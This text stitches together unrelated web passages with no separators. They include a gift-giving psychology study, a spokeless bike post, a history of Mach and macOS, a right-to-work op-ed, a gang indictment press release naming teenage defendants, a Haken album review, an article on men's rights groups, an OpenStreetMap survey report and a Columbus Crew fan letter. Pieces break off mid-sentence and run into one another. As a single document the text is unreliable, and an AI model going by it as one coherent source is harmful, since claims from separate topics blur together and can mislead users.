a list of potential options or they were the birthday gift recipient providing a wish list of their own. Findings revealed that recipients appreciated receiving items from their wish list more than unsolicited items, and perceived the requested items to be more thoughtful and considerate. But in direct contrast, the givers thought that recipients would be more impressed with unsolicited items. This apparent disconnect between gift-givers and gift-recipients may strike a chord with many of us. Flynn notes that many married couples have an anecdote about a wedding gift that was off the registry — and totally off the mark. “The strange thing is that this breakdown between givers and receivers happens all the time, even though most people have been both givers and receivers often in the past, and therefore they should have some understanding of the other party’s perspective,” observes Flynn, the Paul E. Holden Professor of Organizational Behavior. He coauthored the study with Francesca Gino, an associate professor of business administration at Harvard Business School. In a third investigation, participants actually chose and received gifts from others. Recipients were asked to create an Amazon.com “wish list” containing 10 products such as books and electronics within the $20 to $30 price range. Some givers were asked to select a gift from that list for the person, while others were instructed to generate a gift idea in a similar price range on their own. Similar to the findings of the first two studies, gift recipients in this lab setting appreciated the gifts they requested more than those they did not. They also rated such gifts as more thoughtful and personal compared to those that givers chose spontaneously. Again, however, gift givers did not accurately predict such preferences. A fourth study showed that when recipients were explicit about one particular gift they would prefer to receive, gift givers were more accurate in predicting that they would appreciate that gift more than an alternative, unrequested gift. “Givers seem to be relatively more receptive to a specific suggestion than to a list, which may be important for us to note if we want to give others clear advice on what gifts to get for us,” says Flynn. A fifth study further showed that recipients actually appreciated money more than any item they initially requested — even though givers assumed money would be the least favored gift. The research shows that going the extra mile to be more thoughtful can actually backfire, if being thoughtful means ignoring others’ direct requests. Sticking to what people say they want will elicit stronger feelings of thanks. “In the business context,” says Flynn, “this means, for example, listening carefully to what the customer or your employees tell you they want and not trying to guess instead. The work emerges from Flynn’s previous research on misperceptions in gift giving. In another study, he and colleagues found that although most gift givers assume a more expensive present will be more appreciated, recipients don’t appreciate expensive gifts that much more. This translates to the business insight that companies do not necessarily have to be extravagant in rewarding employees for a job well done. Salespeople need to understand how customers respond to their offers. Negotiators need to predict how parties will react to concessions in order to resolve conflicts. Extrapolating further into the prosocial behavior arena, Flynn’s other work reveals that people overestimate how likely it is that others will come to them for help, and underestimate how willing others will be to help them if they request it. Taken together, Flynn’s research affirms that asking leads to more of what you need — as long as the other person is willing to take your request at face value. “In any setting, business or personal, it’s best to let the other person tell you what they want. Don’t try to mind read.” Citations “Money can’t buy love: Asymmetric beliefs about the link between gift price and feelings of appreciation,” Flynn, F. and Adams, G,, Journal of Experimental Social Psychology, 2009. “If you need help, just ask: Underestimating compliance with direct requests for help,” Flynn, F.J., and Lake, V., Journal of Personality and Social Psychology, 2008, 95, 128-143.Leave it to a bunch of engineering students at Yale to design a crazy spokeless bike. It's not the first spokeless bike we've seen, but it looks a lot more like a real bike than past models. Advertisement Only the back wheel is spokeless, but that's just because they only had a limited amount of time and money to build this. It would be pretty simple to do what they did to the back wheel to the front wheel. As for how it works: It's a single speed setup. We used two cranks and two bottom brackets in the front to gear up the ratio. It goes from (IIRC) 53 to a 13, which is connected to the second crank and another 53 which connects to the rear hub. The rear hub is just a normal ratcheting rear hub that we mated to our belt pulley. Not sure if all these bike terms are right, but that's the general idea. The front wheel would be almost exactly the same as the rear wheel except that it could be a little lighter. Some of the aluminum can be shaved off since there's no powertrain to connect to. Advertisement [Reddit via Crunchgear]The history of MacOS is a little bit more convoluted. I was very interested in this in the late 90's as Mach had been pitched around the world as a faster way of building a Unix system. The origin of the kernel is a bit more complicated. It all starts with AT&T distributing their operating system to some universities for free. This Unix was improved extensively at Berkeley and became the foundation for the BSD variations of Unix and incorporated several new innovations like the "Fast File System" (UFS), introduced symlinks and the sockets API. AT&T went on their own way and built System V at the same time. Meanwhile, research continued and some folks adopted the work from BSD as a foundation. At CMU, the BSD kernel was used as the foundation for prototyping a few new ideas: threads, an API to control the virtual memory system (through pluggable "pagers" - user level mmap), a kernel-level remote procedure call system and most importantly the idea of moving some kernel level operations to user space. This became the Mach kernel. I am not 100% sure if mmap came from Mach, and later was adopted by BSD, or if Mach merely pioneered the idea and BSD added their own mmap based on the ideas of Mach. Although the Mach kernel was described as a micro-kernel, up to version 2.5 it was merely a system that provided the thread, mmap, message passing features but remained a monolithic kernel, all the services were running on kernel mode. At this time Rick Rashid (now at Microsoft) and Avie Tevanian (now at Apple) had come up with a novel idea that could accelerate Unix. The idea was to use the mmap system call to pass data to be copied from user space to the "servers" implementing the file system. This idea was essentially a variation of trying to avoid making copies of the same data, but it was pitched as a benefit of micro kernels, even if the feature could be isolated from a micro kernel. The benchmarks of this VM-backed faster Unix system is what drove people at Next and at the FSF to pick Mach as the foundation for their kernels. Next went with the Mach 2.5 kernel (which was based on either BSD 4.2 or 4.3) and GNU would not actually start on the work for years. This is what the Nextstep operating systems were using. Meanwhile at CMU, work continued on Mach and they finally realized the vision of having multiple servers running on top of a micro kernel with version 3.0. I am not aware of anyone in the wild being able to run Mach 3.0 as all of the interesting user-level servers used AT&T code so they were considered encumbered, so it remained a research product. Around this time the Jolitz team had done a port of 4.3+ BSD to the 386 architecture and published their porting efforts on DrDobbs. 386BSD was not actively maintained and a group emerged to maintain and move 386BSD forward, the NetBSD team. Internal fights within the NetBSD group caused the first split and FreeBSD was formed out of this. NetBSD at the time wanted to focus on having a cross-platform BSD, and FreeBSD wanted to focus on having a Unix that did great on x86 platforms. A little bit later, NetBSD split again due to some other disputes and this lead to the creation of OpenBSD. A fork of BSD 4.3 for x86 platforms went commercial with a company called BSDi, and various members of the original Berkeley team worked there and kept good relations with the BSD team at the University. AT&T was not amused and started the AT&T vs BSDi lawsuit, which was later expanded to sue the University as well. The lawsuit was about BSDi using proprietary code from AT&T that had not been rewritten by Berkeley. This set back BSD compared to the up and coming Linux operating system. Although things were not looking good for the defendants, at some point someone realized that SystemV had incorporated large chunks of BSD code under the BSD license and AT&T had not fulfilled their obligations in the license. A settlement was reached in which AT&T would not have to pull their product from the market, and the University agreed to rip out any code that could still be based on AT&T code. The university then released two versions of BSD 4.4 encumbered and 4.4 lite. The encumbered version would boot and run, but contained AT&T code. The lite version did not contain any code from AT&T but did not work. The various BSD efforts re-did their work on top of the new 4.4 lite release and had a booting system within months. Meanwhile, the Mach 3.0 micro kernel remained not very useful without any of the user-land servers. A student from a Scandinavian university (I believe, I might have this wrong) was the first one to create a full Mach 3.0 system with a complete OS based on the 4.4 lite release, I believe this was called "Lites". The system worked, but was slow. During the 1992-1996 and by now BSD already had an mmap() system call as well as most other Unix systems. The "micro kernel advantage" that was not there, never really came to fruition. Next still had a monolithic kernel. The FSF was still trying to get Mach to build, and not wanting to touch the BSD code or contribute to any of the open source BSD efforts, they kept charging away at a poorly specified kernel vision and they were drowning on RPC protocols for their own kernel. The micro kernel looked great on paper, but turned out to be over engineered and just made everything slower. At this point we also had the Linus vs Andy debate over micro-kernels vs monolithic kernels and the world started to realize that it was just impossible to add all of those extra cycles to a micro kernel and still come ahead of a well designed monolithic kernel. Apple had not yet acquired NextStep, but was also starting to look into Mach as a potential kernel for their future operating systems. They hired the Open Software Foundation to port Linux to the Mach kernel, and this was done out of their Grenoble offices, I believe this was called "mklinux". When Apple bought Next what they had on their hands was a relatively old Unix foundation, a 4.2 or 4.3 based Unix and by now, not even free software ran well out of the box on those systems. They hired Jordan Hubbard away from FreeBSD to upgrade their Unix stack. His team was responsible for upgrading the user land, and it is not a surprise that the MacOS userland was upgraded to the latest versions available on BSD. Apple did switch their Mach from 2.5 to 3.0 at some point, but decided to not go with the micro-kernel approach and instead kept everything in-process. I have never been able to confirm if Apple used Lites, hired the scandinavian hacker, or if they adopted the 4.4 lite as their OS. I suspect they did, but I had already moved on to Linux and had stopped tracking the BSD/Mach world. There was a rumor in the late 90's that Avie at Apple tried to hire Linus (who was already famous at this point) to work on his baby, but Linus chose to continue working on Linux. History aside, this page describes the userland and the Mach/Unix kernel: http://developer.apple.com/mac/library/documentation/Darwin/Conceptual/KernelProgramming/Architecture/Architecture.html#//apple_ref/doc/uid/TP30000905-CH1g-CACDAEDC I found this graphic of the history of OSX:By Dave Myers In a not too surprising development, anti-worker rightwing organizations have launched a new attack on organized labor and the working class. In non-right-to-work states, Americans for Prosperity — a Koch Brothers-sponsored organization — is leading a crusade to use the county level to enact right-to-work ordinances. For several years now, rightwing organizations have led successful campaigns to pass statewide right-to-work laws. Twenty-eight states have now enacted so-called “right-to-work” laws. These laws prohibit unions from requiring new employees to join the onsite unions and pay dues as a condition of employment. In other words, new workers can enjoy all of the benefits of union membership — better pay, better benefits, safer job sites and better unemployment protection — all hard won over several years but do not have to pay dues or belong to the union. In essence, they get a free ride. In states where right-to-work laws have been unable to pass state legislatures, anti-worker organizations have developed a new tactic: develop and support county ordinances that establish right-to-work laws. In 2012, Americans for Prosperity worked to pass such legislation in six Kentucky counties. When challenged in federal court, the justices ruled in favor of the counties, setting the stage for Kentucky to later pass a statewide right-to-work law. Now, other counties are investigating similar strategies. This new ploy is part of a long-term strategy by the U.S. capitalist class. The United States is unique among industrialized countries with capitalist resistance to working class organization relentless and often violent. It is also unique in that its government — at all levels — has worked closely with the capitalist class to help corporations and businesses successfully resist unionization. All three branches of government have used legislation, executive orders and injunctions to defeat strikes and limit organization drives. The one brief period when unions were able to make significant gains came following the mass struggles of the 1930s when 15 million workers lost their jobs. Under this pressure, reforms intended to save the capitalist system and get people back to work were implemented, leading to a period of limited government support for unions. During the New Deal era of the 1930’s, labor finally gained a legal right to organize through the National Labor Relations Act of 1935. Combined with aggressive and creative organizing drives, union membership grew from less than 2 million in 1930 to 8.5 million in 1940. As organizations designed to improve and protect workers’ rights, unions also provided a potential avenue for African Americans to press demands for civil rights. Pro-segregation CEOs and business leaders feeling threatened, attempted crush any possibility of unified worker efforts to claim civil rights and the rights granted by the NLRA. When Republicans regained control of Congress in 1947, they joined with pro-segregation Democrats (“Dixiecrats”) to pass the Labor-Management Relations Act, better known as the Taft-Hartley Act. It was passed over presidential veto. The new law severely restricted the rights of organized labor and gave states the power to pass what came to be erroneously called “right-to-work” laws, fusing anti-unionism with segregationism. During the post-World War II boom from the 1940s into the 1960s, the American economy ran so strong that the ruling class generally cooperated with unions to ensure continued production. In 1955 organized labor reached its apex — 35 percent of American workers belonged to unions, all of whom were in the private sector. This positive trend began to wither in the late 1960s, only getting worse in the 1970s when the U.S. economy turned sour for a variety of reasons. A terrible economic development called “stagflation” sent the economy into a long downturn. For workers, this crisis of corporate profitability gave rise to a new ruling class political movement known as neoconservatism aimed at reestablishing corporate power and influence. This movement came to be led by Ronald Reagan and the Republicans. A variety of rightwing and neoconservative organizations began an aggressive attack on organized labor. Inside the Democratic Party, a “neoliberal” wing went into ascendency, unraveling the once close relationship with organized labor. The result has been several decades of retrenchment by labor. Unions now represent less than 12 percent of the workforce, and almost half are public sector unions. The anti-union trend in New Mexico became most evident last legislative session as neoconservative Governor Susanna Martinez strongly supported a statewide right-to-work bill which failed. Americans for Prosperity quickly stepped in and began to work with two Sandoval County commissioners and with the county executive for Bernalillo County. At a recent Sandoval County Commission meeting, passions ran high as one commissioner compared unions to the Mafia and claimed that teachers’ unions were destroying education in New Mexico. The Bernalillo county executive has made it clear that he will push similar legislation in the state’s most populous county. The unifying message among these right-to-work organizations is that unions by demanding such high pay for workers drive up the unemployment rate and discourage corporations from moving to the state, destroying prosperity for everyone. The reality, of course is that none of this is true. Google very recently began to hire workers for a new operation in Los Lunas New Mexico. There is no co-relation between unemployment rates and right-to-work laws. Many of the highest rates of unemployment are in states with right-to-work laws. It has never been about prosperity for all, it has always been about more profits for a few. Radicals must join with workers and union leaders to oppose any right-to-work legislation at the state or county level.91-count indictment against Touch Money Gang members includes murder, robbery, conspiracy and weapons charges Following a lengthy investigation involving multiple local, state and federal agencies, 13 members of the Touch Money Gang, or TMG, a violent Wilmington neighborhood youth gang, were indicted by a grand jury last week for a long list of crimes including six murders, five shootings with injuries and a bank robbery. The indictment charges all 13 individuals with gang participation because of membership in TMG and re-indicts a number of previous crimes that have now been determined to have TMG involvement. Delaware Department of Justice, Wilmington Police and the Federal Bureau of Investigation led the investigation that led to the 91-count indictment by a grand jury on August 31, which also involved the Delaware State Police, New Castle County Police, Juvenile Probation, New Castle City Police, Department of Corrections, Elsmere Police, Federal Bureau of Alcohol Tobacco, Firearms and Explosives, and U.S. Marshal Service. It is the largest indictment in memory by DOJ in terms of the number of homicides and shootings involved. All 13 individuals indicted are now in custody. “This indictment alleges what the residents of Wilmington unfortunately have experienced for the last several years, that a gang called TMG was bringing violence to their streets, some of which was committed by teens as young as 14 and 15 years old,” Attorney General Matt Denn said in announcing the indictments. “The level of violence and brazenness alleged to have been exhibited by TMG members is shocking. The number of shots being fired and the indiscriminate nature of the shootings are alarming. We believe the murders were committed by TMG members who were between the ages of 14 and 19 years old when they pulled the trigger.” “These indictments are a step in making city neighborhoods safer, but also are a reminder of the gun violence we unfortunately continue to see daily, often perpetrated by teens and young adults,” Attorney General Denn said. The murder counts included in the indictment are for six killings, including: • Ioannis Kostikidis, a security guard at the American Beauty School, was shot and killed during a robbery attempt at 6th and Tatnall Streets on February 6, 2013; • Dwayne Brown was shot and killed in the area of 10th and Kirkwood Streets in Wilmington on May 8, 2014; • Devon Lindsey was shot and killed on E. 29th in Wilmington on January 18, 2015; • William Rollins was shot and killed at the corner of W. 21st and Washington Streets in Wilmington on January 24, 2015; • Deshon Sellers was shot and killed on E. 24th Street near Carter Street in Wilmington on February 16, 2015; • Malik Watson was shot and killed on 9th Street in the city of New Castle on November 26, 2014. A previous indictment for the murder of Malik Watson was incorporated into this new indictment based on the involvement of the gang. The indictments also include charges related to five other shootings with injuries including one last month at the Adams Four Shopping Center, multiple illegal firearm and drug possessions and the January 29, 2015 robbery of the WSFS branch on North Union Street in Wilmington. “There are many people and agencies that helped make these indictments possible. We greatly appreciate the cooperation and partnership from the other law enforcement agencies that took part in this investigation,” Attorney General Denn said. “From the DOJ, I want to recognize deputy attorneys general Ipek Medford, John Downs and Periann Doko, investigator Cliff Dempsey, paralegal Jaime Prater and analysts Bill Moran and Shennette Moore for the long, dedicated and tireless work over many months stitching together the full picture of this gang’s activities and working to take its members off the streets.” “Through aggressive policing strategies, and by working closely with our partners in public safety, the various federal agencies, and the community, we continue our collaborative efforts to arrest and prosecute those who commit senseless acts of gun violence in our city,” said Wilmington Police Chief Bobby Cummings. The FBI’s involvement in the Wilmington TMG investigation was part of that agency’s initiative to target gun violence in cities around the country. “Recent spikes in violence may have led many in the community to mistakenly think law enforcement has given up on fighting crime, but today’s indictments and arrests prove this isn’t true,” said Kevin Perkins, Special Agent in Charge of the FBI in Delaware. “We are actively investigating cases, making arrests and stopping criminals. Our law enforcement partnerships have deepened and we are more committed than ever to making Wilmington a safer place.” The list of individuals indicted: JOHN BRISCO, aka “Bin Laden”, 18 years old RAYMIRE BRISCOE, aka “Fats”, 15 years old ALEXANDER FITZGERALD, aka “Trey”, 19 years old BRYANT HAWKES, aka “Black Sosa”, 20 years old AQUANTAY GARNER, aka “Caper Boi”, 19 years old RYLIER GRAYSON, aka “Lier”, 20 years old RONALD MADDREY, aka “Doo”, 20 years old KADIR MCCOY, aka “D-Rose”, 17 years old TYMERE RIGHTER, aka “Frog”, 19 years old JACQUEZ ROBINSON, aka “Quez”, 20 years old RANDY SCOTT, aka “YL”, 23 years old JAYMERE WHITE, aka “Jay 5”, 17 years old DAYMERE WISHER, aka “Day-Day”, 16 years old In all cases, defendants are presumed innocent until and unless proven guilty.Calling the past back into the present is a tricky endeavor. In music, it can often lead to the opposite of what a band intended, leaving their music derivative rather than innovative. However, for those bands who manage to skillfully reach back to bring some part of what made past greats so great, inspiration, power and success await. This balancing is very hard to achieve: one must needs delicately inject influences from favorite acts into one’s own style, being careful not to tip the scale in the past’s favor. Haken are, for this reviewer at least, a prime example of how long this balance takes to achieve. Their previous releases, namely the wildly celebrated The Mountain, always flew just short of being true classics, worthy of the mainstream, classical progressive metal banner which had been thrust upon them or which was taken up gladly by the band. The scales tipped ever so slightly in imitation’s direction, with the overbearing presence of one great band which need not be named here. But slowly, ever since that release, a sea-change has been overtaking Haken. Restoration, that intriguing retrospective, already held tell-tale signs of growth and maturation, of a more sober look towards past influences. And now, these initial buds have flowered into Affinity, the culmination of what Haken has been building towards in the nearly ten years of their existence. Affinity is not necessarily “better” than previous releases but it’s certainly more complete, more fully realized and executed. It is steeped deep in clearly stated influences but manages to be its own creation. It is fun and energetic without being simplistic. And its progressive without sliding into the mindless drivel that is often born from the blind and unchecked desire to innovate at any cost. It is, simply put, a well made album which straddles the boundaries between progressive rock, metal and Haken. It channels Rush, Genesis, Camel and more modern bands with equal ease, creating a truly wide canvas of progressive influences. Let us begin our more detailed investigation with “1985”. Skipping the somewhat anthem-like first track (and the first single released), a closer look at “1985” affords us more insight into the album. It’s where Haken begin to truly dig in to what this album is for them. This statement of purpose begins with a guitar, bass and drum combination that almost, but not quite, quotes Yes‘s “Owner Of A Lonely Heart”, introducing a wild, child-like verve to the track’s progression. The synths that are then introduced, coupled with the drum sound, are a heady combination between mid-career Dream Theater (there, I said it) sensibilities and ideas that belong on video clips from the early MTV years. One receives the imagery of hair bands, pop ensembles and outrageous outfits, imagery which works very, very well with the cheer of the opening passages. To these are introduced the modern day, Haken-bred touches in the form of chugged riffs, tricky leads and guitar/keys unisons. But, in the presence of the earlier influences, these are uplifted far past any strength they might have had on their own. What would have been simple and commonplace is made unique and exciting when coupled with the other, more unique directions otherwise present in the track. This blend is the adhesive which keeps Affinity together, which constructs something far more stable than any mountain. Look at “Bound By Gravity” for example, the wonderfully epic closing track. One of the best tracks on Affinity, it isn’t marked by the expertise or the innovation of any of its specific parts but rather by the whole that is brought together between them and their brightly tinted outlook and the darker themes of the previous track, “The Endless Knot”. For those who have no interest in these plays on theme, lighting and genre (I suppose they do exist), this album has plenty of Haken “just doing their thing”. “The Architect” for example, a fifteen minute track located in the middle of the album in classic progressive metal fashion. So too are the opening drum poly-rhythms, runaway scales and other progressive metal trappings. The track is basically a study in the trope of the That One Heavy Track we know and love from progressive metal. It is this album’s “Fatal Tragedy”, a prolonged and aggressive sojourn in the darker side of the album. It even includes some growls after its trippy, ambient middle passage. But, unlike their previous works, this isn’t the point of the album. Sure, you can lose yourself in these rituals of worship if you’d like. But the strength of the album lies in the places where Haken depart from these familiar trappings of self-subjugation and turn towards creating something new from the pieces of the ideas that have gone before them. Affinity is patchwork; it is quilt; it is weaving. It is multiple threads coming together from out of the past and, unlike their previous works, no single weave being given utmost weight. In that one-trick stead there is collaboration, exultation and celebration of the fantastic genre that is progressive rock/metal and the numerous joy-filled moments it has given us. This album then, and not their previous
distinguish his group from the ugly side of the men’s rights movement. CAFE has, however, hosted some of the movement’s most notorious figures, like Warren Farrell. Often called the father of men’s rights, Farrell was once a feminist who spoke out about the destructiveness of male stereotypes on men’s self-esteem and mental health. He’s since shifted his views to argue that men are at the mercy of cruel and powerful women who falsely cry rape and use their sexual power to humiliate men. Trottier says his group isn’t anti-woman; it merely wants more attention paid to men’s mental and emotional health. It’s lobbied for better services for indigenous men who experience violence and male victims of domestic assault. But in both cases, CAFE misrepresented gender-based statistics. In 2015, it put up a Toronto billboard featuring an image of a wild-eyed woman looming over a cowering man with the statistic: “Half of domestic violence victims are men. No domestic violence shelters are dedicated to us.” That figure did come from a 2009 Statistics Canada study, but CAFE failed to note that women were three times as likely as men to report injury from serious violence, like being choked, raped or threatened with a deadly weapon. And that’s not the only time CAFÉ has been misleading. In its application to the Canada Revenue Agency for charitable status, CAFE stated that it planned to work with the Women’s Legal Education and Action Fund and Status of Women Canada. Both of these feminist groups said they had not been contacted by CAFE and weren’t aware that CAFE had listed them as potential collaborators on its application. CAFE’s deceptions and its hostility to feminism — its tagline is “equality means equality for everyone,” the implication being that the women’s movement has subjugated men — undermine any good intentions the organization purports to have. Within this mindset, the advancement of women and girls is seen as an attack on men and boys, a zero-sum game. Related: What role do men play in the fight against sexual assault? Very rarely (if ever) does the MRA agenda include the real social and political forces that are actually hurting men and boys: like the erosion of the labour unions that used to protect the interests of blue-collar male workers; or the gun manufacturers whose products are responsible for 33,000 deaths annually in the U.S. – a significant number of which are suicides and homicides of men; or racial profiling by police, mass incarceration and other violations of the rights of men of colour. For all Trottier and his cohorts’ insistence that they want to help other men, they don’t seem connected to the many, many groups and individuals that are doing real work to meet men’s needs. The Movember Foundation, for instance, has donated millions of dollars to men’s cancer research and to mental health services for boys and men. In Canada, there’s WiseGuyz, which teaches sex-ed to boys in middle school; NextGenMen, which runs boys-only after school programming; the Black Daddies Club, a support group for black fathers; and BroTalk, a campaign by Kids Help Phone to reach teenage boys struggling with mental health issues. These groups show that men and boys can be supported and validated without needing to make women the enemy. In fact, they see women as allies. And here’s the thing: Men and boys also do better in a culture that is fairer, more just and progressive when it comes to gender roles and equality. Instead of retreating to the angriest and most retrograde version of masculinity, men can evolve, too. They’re going to have to. For all his macho swagger, Teddy Roosevelt couldn’t stop progress 100 years ago. And MRAs aren’t going to stop it now. More: Exclusive survey: The secret lives of Canadian women Everything you need to know about the flu Three babies, three doorsteps: cracking a 40-year-old mysteryResults of the “organised editing” survey DWG conducted a survey to inform a potential OSMF policy on corporate editing between 20 September 2017 and 08 October 2017. The survey was announced on major mailing lists and forums, and also mentioned in OSM blog and weekly news. The welcome message on the survey explained the rationale as follows: When OpenStreetMap started, it was largely a project of hobbyists contributing to OSM in their spare time. They chose freely what to map and which tools to use, and they took individual responsibility for their contributions. The continuing growth and popularity of OSM have also brought more and more organised mapping efforts, mostly in the form of companies setting up paid data teams to improve OSM data in specific regions or for specific use cases, but also unpaid groups like school classes that are directed to work on OSM. These organised mapping efforts are an integral part of today's OSM contribution landscape and, when done well, help make OSM better and more widely known. In order to ensure good communication, and a level playing field, between individual community members and organised editing groups, the OSMF Data Working Group has been tasked with developing guidelines for organised groups. These guidelines will above all set out some transparency requirements for organised groups – things that are already voluntarily followed by most groups today, like informing the mapping community about which accounts edit for the team. We have prepared the following survey with a few questions about such a policy to give us a better understanding of what the mapping community expects from such a policy. The survey is aimed at everyone editing (or planning to edit) in OSM, whether as individual mappers or as part of a team, and your answers will help us in fleshing out a draft policy. Within the scope of this survey, and the policy to be written, we define paid mapping (or paid editing) as any editing in OSM performed by someone who is told by a third party what to map (and potentially also how to map it) and who receives money in exchange. We define other organised mapping (or editing) as any editing that is also steered by a third party, but where no money is paid. The following is a textual description of the main survey results. We invite you to peruse the detailed spreadsheet (see links at the bottom), and draw your own conclusions from the responses. There were many questions where you could choose one option between “strongly agree” and “strongly disagree”. For the purpose of this document, “strongly agree” is +2, “neutral” is 0, and “strongly disagree” is -2, and for the textual representation we have also introduced the labels “somewhat agree” and “somewhat disagree” for the 0.25 to 0.5 range. So everything below 0.25 is neutral, 0.25-0.49 is “somewhat agree”, 0.5-1.49 is “agree”, and 1.5 up is “strongly agree”. But we have the exact number in parentheses so you can ignore the label if you wish. Where we specify percentages, we have rounded to the nearest integer; where “no answer” was among the options you could check, we counted that just as if you hadn't actually given any answer. Overall, we had 668 completed questionnaires (“completed” means they didn't drop out before the end – it doesn't mean they answered all questions). Scope of Policy Our question was: What types of mapping activities should be covered by a policy? A policy should only apply to paid editing. A policy should apply to paid editing as well as other organised editing. I don't think we need a policy at all. 20% of respondents said that a policy is needed for paid mapping. 63% said that a policy should apply to both paid and other organised mapping, while 17% said we shouldn't have a policy at all. If we look only at those respondents who said they are involved with an organisation that does paid mapping, these results change to 5% “policy needed for paid mapping”, 52% “policy should apply to both” and 43% “no policy needed at all”. If we look only at those respondents who said they are involved with an organisation that does other organised mapping (but not with one that does paid mapping), these results change to 18% “policy needed for paid mapping”, 57% “policy should apply to both” and 25% “no policy needed at all”. Quality Our questions were: In OpenStreetMap, anyone can map and we don't expect newbies to attend training first. The community will fix problems and help new mappers learn the trade. Should this also apply to paid or organised groups? Yes, paid/organised mappers can learn as they go just like individual mappers. No, the leader, instructor, teacher, or trainer of a team should make sure that the mappers they bring to OSM have the proper training. 68% of overall contributors said that “the leader, instructor, teacher, or trainer of a team should make sure that the mappers they bring to OSM have the proper training“, while 32% said that paid or organised mappers can learn as they go along just like everybody else. Among those involved with an organisation that does paid mapping, only 37% say that proper training needs to be ensured by the lead, and 63% say it is not necessary. We also looked at the group of users who said they weren't involved with paid or organised mapping, but that they had interacted with such mappers through changeset comments and other means. Among this group, the notion that paid/organised groups should receive training from their organisation had the highest support, at 81%. Transparency Our questions were: Should paid/organised mappers seek community buy-in for their projects? Before starting to work towards a specific goal, paid/organised mappers must inform the mapping community of that goal and the mapping techniques used. Mappers have the right to say no towards a project or goal. (These questions had an agree/disagree scale as outlined above.) Respondents agreed (0.62) that paid or organised mappers should inform the community of the goal and the mapping techniques used before starting to work on a specific goal. Respondents however were neutral (0.06) on whether the community should have a “veto right” concerning paid or organised mapping projects. How should paid/organized mappers document their group? A paid/organised mapper can use as many accounts as they want to protect their privacy. A paid/organised mapper needs to disclose who is directing them. A paid/organised mapper must disclose their identity (real name). (These questions had an agree/disagree scale as outlined above.) Respondents somewhat disagreed (-0.35) with allowing paid or organised mappers to use as many accounts as they want to protect their privacy. They agreed (0.91) that paid or organised mappers should disclose who is directing them, and disagreed (-0.52) with forcing paid or organised mappers to disclose their identity (real name). Questions about instructions to members of group and performance metrics Our questions were: If the paid/organised team use OSM-related criteria to measure the performance of their mappers (e.g. "objects mapped per hour"), these criteria must be made known. Instructions to the paid/organised team must be available for inspection by the mapping community. (These questions had an agree/disagree scale as outlined above.) Respondents somewhat agreed (0.25) that performance metrics need to be disclosed, and somewhat agreed (0.47) that instructions given to the paid/organised team should be available for inspection by the community. Communication Our questions were: Individual mappers communicate among themselves using direct messages and changeset comments. Mappers who ignore changeset comments can be forced to reply. How should the community expect to interact with paid/organised mappers? Individual mappers can expect to communicate with paid/organised mappers just like with anyone else Individual mappers should be able to discuss problems affecting the entirety of a project with the group leader How to contact the leader, instructor, teacher, or trainer of the paid/organized mapping group must be clear from each member's profile page (These questions had an agree/disagree scale as outlined above.) The three questions in the communication section had the highest agreement rate of all. Respondents strongly agreed (1.53) that individual mappers should expect to communicate with paid/organised mappers just like with anyone else, and agreed (1.29) that problems affecting the entirety of the project should be discussable with the group leader. Respondents agreed (1.05) that a way of contacting the group leader should be clear from each member's profile page. Among those involved with an organisation that does paid mapping, agreement with the first two questions was also high (1.52 and 1.17 respectively), but they only somewhat agreed (at 0.29) about the contact info having to be clearly stated on each member's profile page. Personal Information We also asked a few questions about respondents' backgrounds: What is your OpenStreetMap username? (optional) How long have you been editing OpenStreetMap? What country are you from? (optional) Are you affiliated with an organization that does paid mapping? Are you affiliated with an organisation that does other organised mapping? Have you interacted through changeset discussions, direct messages, or notes with people you knew to be paid/organised mappers? 78% of respondents were with OSM for 3 years or more; a further 16% for over one year. Among those affiliated with organisations that do paid mapping, only 55% were with OSM for 3 year or more, and a further 35% for over one year. A total of 98 people (15%) said they were involved with organisations that do paid mapping. 172 (26%) said they were involved with organisations that do other organised mapping. 77 people (of these) said yes to both. For our evaluation we made three groups: The 98 who said they were involved with an organisation that does paid mapping; the 95 who said they were involved with other organised mapping but not already counted in the first group, and the 475 who checked neither of the two boxes. In programming speak, the groups are “paid”, “organised &&!paid”, “!organised &&!paid”. We further split the third group into two according to their response to “have you interacted with people known to be organised or paid mappers”. This gave us 179 “not organised, not paid, but interacted” people, and 264 “neither organised, nor paid, nor interacted”. (The difference to 475 is those who haven't answered the “interacted” question.) We hoped to gain from this some insights about how interactions with paid or organised mappers shape the views of our community members; but it turned out that the views of both these groups rarely differ in a significant way. Regional distribution We also did an analysis by continent. We had 417 results from Europe (which for our purpose includes Russia), 187 from North America, 35 from Asia, 15 from Australia and Oceania, 13 from South America, and 1 from Africa. (We used the submission IP number to determine the continent where people hadn't given their country.) We're publishing the results for all continents except Africa (where the one contributor is too easy to de-anonymise), however South America and Australia/Oceania have too few submissions to draw any conclusions there. Overall, Europe is more in favour of regulation than North America and Asia (11% in Europe say no policy is needed, while 31% and 30% say so in North America and Asia, respectively). This is, however, likely to be a reflection of where the paid/organised mapping organisations are. Only 6% of respondents in Europe are affiliated with an organisation that does paid mapping, but 32% in North America and 31% in Asia are; only 16% of respondents in Europe are affiliated with an organisation that does other organised mapping, but 47% in North America and 37% in Asia are. Detailed analysis Download the spreadsheet in OpenOffice format or as a PDF file.The Letter Thousands of you signed it. Here is our letter we are sending MLS owners and the commisioner. To Commissioner Garber, MLS Senior Officers, and Investor-Operators of all Major League Soccer teams, We, the recognized Supporters Groups, season ticket holders, and fans of all Major League Soccer teams, are writing to encourage you to keep the Columbus Crew SC in Columbus, Ohio. We think this move does harm not only to the Columbus Crew SC team and its fans, but also does harm to all other teams and especially the league itself. First, the Crew has been a fixture in Columbus since the league’s inception as the very first chartered team in Major League Soccer. Moving this franchise will uproot league history and devalue and damage the league’s future marketing opportunities and messages centered around longevity and stability. Moving an original team destroys a piece of history that can never be reclaimed. Second, this move sets a terrible business precedent and threatens the valuation of all other teams. If an investor feels they can purchase a lower-priced team and then relocate them to any place of their choosing, why would anybody ever bother to go through the much higher-priced and less certain process of applying for an expansion team? Not only does this undermine the case for the high expansion fees the league now seeks, but it causes a loss in shared revenues for every other club owner each time this is allowed to happen. Lastly, and most importantly of all, is the immense and irreparable damage this move would cause to the entire MLS fan base’s trust in the league. While many American sports teams move towns based on profitability projections, Major League Soccer has time and again marketed a more authentic global soccer experience of fandom to us fans, including the league’s “community” focus, which was so critical it was immortalized as one of three stars on the MLS crest rebrand of 2015. The league says it wants to market itself by ingraining teams into the fabric of their unique communities, whether that is touting public-private partnerships for stadiums, encouraging local sponsorships and ownership groups, and even by including local civic icons like flags and crests right into the branding of each club. We want to believe this and envision a future of sharing experiences with friends, family, and future generations within the context of MLS’ promise. This proposed move would undermine that idea as nothing but a hollow marketing tactic. It forces fans to question if their own clubs are at the whim of an owner who seeks 